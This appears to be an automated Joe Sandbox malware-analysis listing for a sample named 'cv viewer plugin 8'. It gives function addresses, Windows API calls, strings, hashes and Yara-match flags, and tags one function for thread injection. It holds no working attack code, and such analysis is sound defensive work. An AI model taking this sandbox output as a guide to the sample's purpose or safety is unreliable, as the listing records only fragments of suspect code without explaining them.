Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 360d700aa20f0c75044e2dab52d964b7331b98567022ec250cb6eac5a188adf1
Instruction ID: 9caab7bc678b9f3bc58d1b47a31d71f8bb22ff193cbe11bd9c7373d49e5618b2
Opcode Fuzzy Hash: 360d700aa20f0c75044e2dab52d964b7331b98567022ec250cb6eac5a188adf1
Instruction Fuzzy Hash: 08E0BFB0A91304AFDB705FA5EE0DB653A79F751702F146418F102D165CDBB452A0CF50

Function 016B1F30 Relevance: 10.2, APIs: 8, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000029,DA1F4857,?,?,?,?,00000000,016C6AB8,000000FF,016B21CA), ref: 016B1F6A
TlsSetValue.KERNEL32(00000029,016B21CA,?,?,00000000), ref: 016B1FD7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 016B2001
HeapFree.KERNEL32(00000000), ref: 016B2004

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: HeapValue$FreeProcess
String ID:
API String ID: 1812714009-0
Opcode ID: 4daa0b721ecfc29156f569ca3da6469721eb6bd0e1365d757e2eedad4f7c9883
Instruction ID: 0fe3f44f4f93aa094b0078af17dcf4c9b31dff9a6571700f30e880c5ce94ee50
Opcode Fuzzy Hash: 4daa0b721ecfc29156f569ca3da6469721eb6bd0e1365d757e2eedad4f7c9883
Instruction Fuzzy Hash: 5651DE75A043089FD720CF2DDC98BA67BE6FB49760F09865CE81987381C731AC80CB91

Function 016C5680 Relevance: 9.3, APIs: 6, Instructions: 276COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 016C5790
__FindPESection.LIBCMT ref: 016C57AA

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: d5a92f98ed8a9f42b0b174dcb8a879934c3a0121dd7ac600f9be853dd89d3a25
Instruction ID: e8c581ada3294a0536f6cd737346f29fad483dcecc15aeda996308d56759a7e8
Opcode Fuzzy Hash: d5a92f98ed8a9f42b0b174dcb8a879934c3a0121dd7ac600f9be853dd89d3a25
Instruction Fuzzy Hash: 7BA1BE71F017658FDB21CF19DC80ABABBA5EB48A25F15426DDD06AB351E730F841CB90

Function 0040670E Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,00408658,00000001,00000000,00000103,00000001,00000000,00406317,00200020,00000000,?,00000000,00000000,00000001), ref: 0040674D
GetStringTypeA.KERNEL32(00000000,00000001,00408654,00000001,?,?,00000000,00000000,00000001), ref: 00406767
GetStringTypeA.KERNEL32(00000000,00000000,?,00000000,00200020,00000103,00000001,00000000,00406317,00200020,00000000,?,00000000,00000000,00000001), ref: 0040679B
MultiByteToWideChar.KERNEL32(00406317,00000002,?,00000000,00000000,00000000,00000103,00000001,00000000,00406317,00200020,00000000,?,00000000,00000000,00000001), ref: 004067D3
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406829
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040683B

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 6d8eb81ee64157f72203894b93785b9b85560a11f4962ec6ebb452b13d20bf59
Instruction ID: 7abba187aa9a424c0dbe6a0d425d95b5373609879485ba3de4d3a8f21a169ece
Opcode Fuzzy Hash: 6d8eb81ee64157f72203894b93785b9b85560a11f4962ec6ebb452b13d20bf59
Instruction Fuzzy Hash: 11418D72901209EFCF209F94CD85EAF3B79FB04754F11453AF912F2290D73989608B99

Function 016A1C91 Relevance: 9.0, APIs: 6, Instructions: 39synchronizationthreadinjectionCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 016A1CB1
CloseHandle.KERNEL32(?), ref: 016A1CBA
InterlockedExchangeAdd.KERNEL32(016D727C,00000000), ref: 016A1CC6
TerminateThread.KERNEL32(?,00000000), ref: 016A1CD4
QueueUserAPC.KERNEL32(016A1E7C,?,00000000), ref: 016A1CE1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 016A1CEC

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Wait$CloseExchangeHandleInterlockedMultipleObjectObjectsQueueSingleTerminateThreadUser
String ID:
API String ID: 1946104331-0
Opcode ID: 6074dc9f0ec9f917f858229c44cc49a82c3b9e9f748a10ba5f124a38d992c72b
Instruction ID: 38aa5546af62fdd4d85fad54ceebda19b4eb4abeb4fd1bbb9fce4cffb51bee3d
Opcode Fuzzy Hash: 6074dc9f0ec9f917f858229c44cc49a82c3b9e9f748a10ba5f124a38d992c72b
Instruction Fuzzy Hash: CDF04475600214BFD7205B96ED0DD67BFBCEB45721B00425DF56AC2190DB706910CF61

Function 016B08C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 179windowCOMMON

Download Yara Rule

APIs

Part of subcall function 016A9AD9: __EH_prolog.LIBCMT ref: 016A9ADE
Part of subcall function 016A9AD9: _Allocate.LIBCPMT ref: 016A9B35
Part of subcall function 016A9AD9: _memmove.LIBCMT ref: 016A9B8C

_memset.LIBCMT ref: 016B0939
FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,00000010,00000000), ref: 016B09A2
GetLastError.KERNEL32(?,00000400,?,00000010,00000000), ref: 016B09AA

Strings

invalid string position, xrefs: 016B0AF6
Unknown error, xrefs: 016B09F9

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: AllocateErrorFormatH_prologLastMessage_memmove_memset
String ID: Unknown error$invalid string position
API String ID: 1854462395-1837348584
Opcode ID: 2dd3e438d4b58f9bf53182f9c504f1278e8fdebe9c3e256a9b00ed02b7e16e74
Instruction ID: af836fa18a1a546ea4f93057a0d0ff358fb8027c0216da4f08689f235da5dbfb
Opcode Fuzzy Hash: 2dd3e438d4b58f9bf53182f9c504f1278e8fdebe9c3e256a9b00ed02b7e16e74
Instruction Fuzzy Hash: 98518A702083419FE714DF28CC90B6FBBF4AB98744F500A2DF89297692D771E588CB56

Function 00403EAC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00403ECB
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00403F00
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403F60

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 00403F3A
__MSVCRT_HEAP_SELECT, xrefs: 00403EFB

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 24e6f3bd4125583b3bbf56e9767beae157ffe726f3734666c8e193c81b681956
Instruction ID: b9728f854654bad712525c43123df79641ae2587965f18a3091eb02ea7af310c
Opcode Fuzzy Hash: 24e6f3bd4125583b3bbf56e9767beae157ffe726f3734666c8e193c81b681956
Instruction Fuzzy Hash: 42312771D002896DEB319A309C45BDA7F7C9B12309F2400FBE545F52C2D6398F8A8718

Function 016B1930 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 016B197F

Part of subcall function 016B24D3: std::exception::_Copy_str.LIBCMT ref: 016B24EC

Part of subcall function 016B0D50: __CxxThrowException@8.LIBCMT ref: 016B0DAE

std::exception::exception.LIBCMT ref: 016B19DE

Strings

boost unique_lock has no mutex, xrefs: 016B196E
$, xrefs: 016B19E3
boost unique_lock owns already the mutex, xrefs: 016B19CD

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Copy_strException@8Throwstd::exception::_
String ID: $$boost unique_lock has no mutex$boost unique_lock owns already the mutex
API String ID: 2140441600-46888669
Opcode ID: 56f29edd18bf4b4b07778ba6e8c13f5f407dc4913a394978f9328c2992c26603
Instruction ID: 5183da78a09eb7db0b049d9a6b28c829ceb16f93059f253fadc95425e3638f19
Opcode Fuzzy Hash: 56f29edd18bf4b4b07778ba6e8c13f5f407dc4913a394978f9328c2992c26603
Instruction Fuzzy Hash: 642126B14083819FD720DF24C89479BBBE9BB99B08F004A1DF4A587380D7B9E448CB86

Function 016B4A7C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 016B4A80

Part of subcall function 016B5C72: GetLastError.KERNEL32(00000000,?,016B5E60,016B3033,00000000,?,016B8ACB,?,?,?,00000000,?,016B89B8,00000018,016D16F8,00000008), ref: 016B5C74
Part of subcall function 016B5C72: __calloc_crt.LIBCMT ref: 016B5C95
Part of subcall function 016B5C72: __initptd.LIBCMT ref: 016B5CB7
Part of subcall function 016B5C72: GetCurrentThreadId.KERNEL32 ref: 016B5CBE
Part of subcall function 016B5C72: SetLastError.KERNEL32(00000000,016B8ACB,?,?,?,00000000,?,016B89B8,00000018,016D16F8,00000008,016B8905,?,?,?,016B5B88), ref: 016B5CD6

__calloc_crt.LIBCMT ref: 016B4AA3
__get_sys_err_msg.LIBCMT ref: 016B4AC1
__invoke_watson.LIBCMT ref: 016B4ADE

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 016B4A8B, 016B4AB1

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt$CurrentThread__get_sys_err_msg__getptd_noexit__initptd__invoke_watson
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 109275364-798102604
Opcode ID: 29492d0f99114663b1cc24eab4c5176bb6a2289f54992e8045a145b75a4aca54
Instruction ID: d2761e60e9a561ba0760375835d442befac394dd5dfaf74ffccdbbe38afb36f4
Opcode Fuzzy Hash: 29492d0f99114663b1cc24eab4c5176bb6a2289f54992e8045a145b75a4aca54
Instruction Fuzzy Hash: F6F0B43294071A6AAA22A91E5CC09EB72DDDB509A0B01052EED47D7707EF62DC81439D

Function 016A2341 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 016A2350
InterlockedExchange.KERNEL32(?,00000001), ref: 016A2360
PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 016A2370
GetLastError.KERNEL32 ref: 016A237A

Part of subcall function 016A1712: __EH_prolog.LIBCMT ref: 016A1717

Strings

pqcs, xrefs: 016A2388

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ExchangeInterlocked$CompletionErrorH_prologLastPostQueuedStatus
String ID: pqcs
API String ID: 1619523792-2559862021
Opcode ID: ff012f5cc59265586831c02570117ee739955ba578448cdb4abff3ac9e2252a5
Instruction ID: 2859582a737048ef8a0ef5636ae8fed6796ca662e81b5d322e7469fd5b12324e
Opcode Fuzzy Hash: ff012f5cc59265586831c02570117ee739955ba578448cdb4abff3ac9e2252a5
Instruction Fuzzy Hash: 59F03AB4A40305AFDB20AFB89C29ABB7BACEB11601F40456DE805D3140EBB1D924CFA1

Function 016A4030 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A4035
GetProcessHeap.KERNEL32(00000000,?), ref: 016A4042
RtlAllocateHeap.NTDLL(00000000), ref: 016A4049
std::exception::exception.LIBCMT ref: 016A4063

Part of subcall function 016AA6CA: __EH_prolog.LIBCMT ref: 016AA6CF
Part of subcall function 016AA6CA: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 016AA6DE
Part of subcall function 016AA6CA: __CxxThrowException@8.LIBCMT ref: 016AA6FD

Strings

bad allocation, xrefs: 016A4058

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prologHeap$AllocateConcurrency::cancellation_token::_Exception@8FromImplProcessThrowstd::exception::exception
String ID: bad allocation
API String ID: 3112922283-2104205924
Opcode ID: 71d9e0fa3ff2fe0f1cd0c51b9cb2f4f954b7b44a370b5165906ee022e95e89fa
Instruction ID: 4812b9dbbf26b07b79432626d85015500134a79a6e0ab56d1838be5fd7cdda1a
Opcode Fuzzy Hash: 71d9e0fa3ff2fe0f1cd0c51b9cb2f4f954b7b44a370b5165906ee022e95e89fa
Instruction Fuzzy Hash: EDF058B1E0420AABCB10EFE4CC18BFFB779EB18A00F40455DE929A2240DB786614CF55

Function 00403CD4 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00403D2D
GetFileType.KERNEL32(00000800), ref: 00403DD3
GetStdHandle.KERNEL32(-000000F6), ref: 00403E2C
GetFileType.KERNEL32(00000000), ref: 00403E3A
SetHandleCount.KERNEL32 ref: 00403E71

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: dbaca84f47ceea487b5a59e7f7eb21175bc7ba2e308e601fb33fec27d5f53662
Instruction ID: 0b7b95883a4e689196e32d1b42849a04f4efe08137134e81777c7f486c9ce5ca
Opcode Fuzzy Hash: dbaca84f47ceea487b5a59e7f7eb21175bc7ba2e308e601fb33fec27d5f53662
Instruction Fuzzy Hash: 025125716046458BD7218F38CE847667FA8AF11722F15437AE4A2FB3E0C7389A45CB8D

Function 016B1C80 Relevance: 7.6, APIs: 5, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 016B1A50: CloseHandle.KERNEL32(00000000,DA1F4857), ref: 016B1AA1
Part of subcall function 016B1A50: WaitForSingleObject.KERNEL32(?,000000FF,DA1F4857,?,?,?,?,DA1F4857,016B1A23,DA1F4857), ref: 016B1AB8

ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 016B1D1E
ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 016B1D3E
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 016B1D77
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?), ref: 016B1DCB
SetEvent.KERNEL32(?), ref: 016B1DD2

Part of subcall function 016A418C: CloseHandle.KERNEL32(00000000,?,016B1D05), ref: 016A41B0

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CloseHandle$ReleaseSemaphore$EventObjectSingleWait
String ID:
API String ID: 4166353394-0
Opcode ID: 15a7169b1770e321d6a00f5cde5525c4e1d5e6e28bb2811b8dbe71d96de273e1
Instruction ID: 4da4fe2afd059737e80b3c5f1bc221e9116031b659b2e1c21e041b53d0d3bb0f
Opcode Fuzzy Hash: 15a7169b1770e321d6a00f5cde5525c4e1d5e6e28bb2811b8dbe71d96de273e1
Instruction Fuzzy Hash: F141E372640301AFDB26AF2DECD07A77BA4EF46620F140668EC18DB395D734D8418F95

Function 016A207C Relevance: 7.6, APIs: 5, Instructions: 101timeCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 016A20AC
SetWaitableTimer.KERNEL32(00000000,?,00000001,00000000,00000000,00000000), ref: 016A20CD
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 016A20D8
InterlockedDecrement.KERNEL32(?), ref: 016A213E
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 016A21A6

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$DecrementTimerWaitable
String ID:
API String ID: 1611172436-0
Opcode ID: b7fd85da86a19a5925101e4066267e3aee329ceff2ee2392470ee90d09e9dfb6
Instruction ID: 2cdfdda21b55c71b3c9ae76108c28e1f8710d3a41bd54e238d439538dd0b8ff3
Opcode Fuzzy Hash: b7fd85da86a19a5925101e4066267e3aee329ceff2ee2392470ee90d09e9dfb6
Instruction Fuzzy Hash: CA3158752447019FC321DF29CC85A6BBBF9FBD8660F440A1EA59683250D730E906CF91

Function 016AE0F8 Relevance: 7.6, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016AE0FD

Part of subcall function 016A1A01: TlsGetValue.KERNEL32 ref: 016A1A0A

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 016AE17C
RtlEnterCriticalSection.NTDLL(?), ref: 016AE198
InterlockedIncrement.KERNEL32(016D5190), ref: 016AE1BD
RtlLeaveCriticalSection.NTDLL(?), ref: 016AE1D2

Part of subcall function 016A27F3: SetWaitableTimer.KERNEL32(00000000,?,000493E0,00000000,00000000,00000000,00000000,00000000,0000000A,00000000), ref: 016A284E

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalInterlockedSection$EnterExchangeH_prologIncrementLeaveTimerValueWaitable
String ID:
API String ID: 1578506061-0
Opcode ID: f1fb6d89d0e90fe953170eb3c271bfeb7b9cbc363055cd98952eb40d0fe76ec7
Instruction ID: 1596cb231125d6fe69db740ffb3997df191a1a6c9a21761bd7f4954d36a0b247
Opcode Fuzzy Hash: f1fb6d89d0e90fe953170eb3c271bfeb7b9cbc363055cd98952eb40d0fe76ec7
Instruction Fuzzy Hash: 353137B1A013159FCB20DFA8C944AAEBBF9FF18310F54855EE849D7640E735AA04CFA4

Function 016C03A4 Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 016C03B0

Part of subcall function 016B2FAC: __FF_MSGBANNER.LIBCMT ref: 016B2FC3
Part of subcall function 016B2FAC: __NMSG_WRITE.LIBCMT ref: 016B2FCA
Part of subcall function 016B2FAC: RtlAllocateHeap.NTDLL(00AA0000,00000000,00000001), ref: 016B2FEF

_free.LIBCMT ref: 016C03C3

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 73cbc82b4f2b4d646a183c03e8843be342f3f255176812e91bcea7bd5a269c62
Instruction ID: 60c9a2e47ca6e5e39dd3f2120a2755a355bebd20f357383418ed427fa9f33202
Opcode Fuzzy Hash: 73cbc82b4f2b4d646a183c03e8843be342f3f255176812e91bcea7bd5a269c62
Instruction Fuzzy Hash: 2A11E736505617EBDF312F78AC446FB7799DB24A60F00C12DFA1A97250DB30C491CB98

Function 016A21D5 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A21DA
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 016A21ED
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000001), ref: 016A2224
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,00000001), ref: 016A2237
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 016A2261

Part of subcall function 016A2341: InterlockedExchange.KERNEL32(?,00000001), ref: 016A2350
Part of subcall function 016A2341: InterlockedExchange.KERNEL32(?,00000001), ref: 016A2360
Part of subcall function 016A2341: PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 016A2370
Part of subcall function 016A2341: GetLastError.KERNEL32 ref: 016A237A

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedValue$CompletionErrorH_prologLastPostQueuedStatus
String ID:
API String ID: 1856819132-0
Opcode ID: 575cc0268a4e415edce0e078a5c0f54c78b858d893a1a35fab7e0cd0e006cdc8
Instruction ID: fd8235b341e8f26787636f208648fac967ac73f6ddb9d22fedad838c3f5338ce
Opcode Fuzzy Hash: 575cc0268a4e415edce0e078a5c0f54c78b858d893a1a35fab7e0cd0e006cdc8
Instruction Fuzzy Hash: FC118171E40119EFCB219FA8DC146BEBFBAFF54310F40812EE81692250D7718A51CF95

Function 016A2298 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A229D
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 016A22B0
TlsGetValue.KERNEL32 ref: 016A22E7
TlsSetValue.KERNEL32(?), ref: 016A2300
TlsSetValue.KERNEL32(?,?,?), ref: 016A231C

Part of subcall function 016A2341: InterlockedExchange.KERNEL32(?,00000001), ref: 016A2350
Part of subcall function 016A2341: InterlockedExchange.KERNEL32(?,00000001), ref: 016A2360
Part of subcall function 016A2341: PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 016A2370
Part of subcall function 016A2341: GetLastError.KERNEL32 ref: 016A237A

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedValue$CompletionErrorH_prologLastPostQueuedStatus
String ID:
API String ID: 1856819132-0
Opcode ID: 35e95444eff630fc179f9b47aadb43620ad59bc899eddaab811c2f468913e732
Instruction ID: 0bc33f279dbb78f2b249bbe688cc8ef1c03337abcebab0e45c04e2728c610236
Opcode Fuzzy Hash: 35e95444eff630fc179f9b47aadb43620ad59bc899eddaab811c2f468913e732
Instruction Fuzzy Hash: 76115EB1E00119ABCB119FA9DC445BEBFBAFF54310F40406EE805A3250D7719951CF94

Function 016ABD12 Relevance: 7.5, APIs: 5, Instructions: 45synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 016AB165: __EH_prolog.LIBCMT ref: 016AB16A

__CxxThrowException@8.LIBCMT ref: 016ABD2F

Part of subcall function 016B455A: RaiseException.KERNEL32(?,?,016AFB5F,?,?,?,?,?,?,?,016AFB5F,?,016D0FA8,?), ref: 016B45AF

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,016D1DC4,?,00000001), ref: 016ABD45
InterlockedExchange.KERNEL32(?,00000001), ref: 016ABD58
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000001,00000000,?,?,?,016D1DC4,?,00000001), ref: 016ABD68
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 016ABD76

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ExchangeInterlocked$CompletionExceptionException@8H_prologObjectPostQueuedRaiseSingleStatusThrowWait
String ID:
API String ID: 2725315915-0
Opcode ID: b9b81be8412211b89efaeb17e35e13de658876fe47bff7381a8f13f31b2cbb98
Instruction ID: 5b0b2890f04b1d0e2f45ab91a40462f50a44a12096bcf1f22e31f58d22926d1a
Opcode Fuzzy Hash: b9b81be8412211b89efaeb17e35e13de658876fe47bff7381a8f13f31b2cbb98
Instruction Fuzzy Hash: 2E01AFB7600305AFDB20AFA4DC89F9A77ADEB08725F004519F626D7290DBA0EC14CF60

Function 016A2420 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 016A2432
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 016A2445
RtlEnterCriticalSection.NTDLL(?), ref: 016A2454
InterlockedExchange.KERNEL32(?,00000001), ref: 016A2469
RtlLeaveCriticalSection.NTDLL(?), ref: 016A2470

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalExchangeInterlockedSection$CompareCompletionEnterLeavePostQueuedStatus
String ID:
API String ID: 747265849-0
Opcode ID: 262f0cd5ccc1a9d5e73d41dffccd4c48ba489742f5d3722cce921d5bf913f2ed
Instruction ID: 740258a823684e49a31de297735049b6c36358dc7d892b35fb8164254a7f9b71
Opcode Fuzzy Hash: 262f0cd5ccc1a9d5e73d41dffccd4c48ba489742f5d3722cce921d5bf913f2ed
Instruction Fuzzy Hash: C6F03AB6341205BFD720ABA4ED89FEA772CFB44711F805026F701D6485D761B920CFA5

Function 016A1EC7 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(?), ref: 016A1ED2
PostQueuedCompletionStatus.KERNEL32(?,?,?,00000000,00000000,?), ref: 016A1EEA
RtlEnterCriticalSection.NTDLL(?), ref: 016A1EF9
InterlockedExchange.KERNEL32(?,00000001), ref: 016A1F0E
RtlLeaveCriticalSection.NTDLL(?), ref: 016A1F15

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalInterlockedSection$CompletionEnterExchangeIncrementLeavePostQueuedStatus
String ID:
API String ID: 830998967-0
Opcode ID: 7a18627189a451e07b330115b2cce2480735fabe1526bcd2a82660df19f9e918
Instruction ID: 01af1624cd05fa5549b699fef488a440da6790b427aa36f4a5ac64206a4ad0ec
Opcode Fuzzy Hash: 7a18627189a451e07b330115b2cce2480735fabe1526bcd2a82660df19f9e918
Instruction Fuzzy Hash: F5F062BA200605BFDB10AFA4EC88FEABB2CFF14345F000026F30182444CB61AA24CFA0

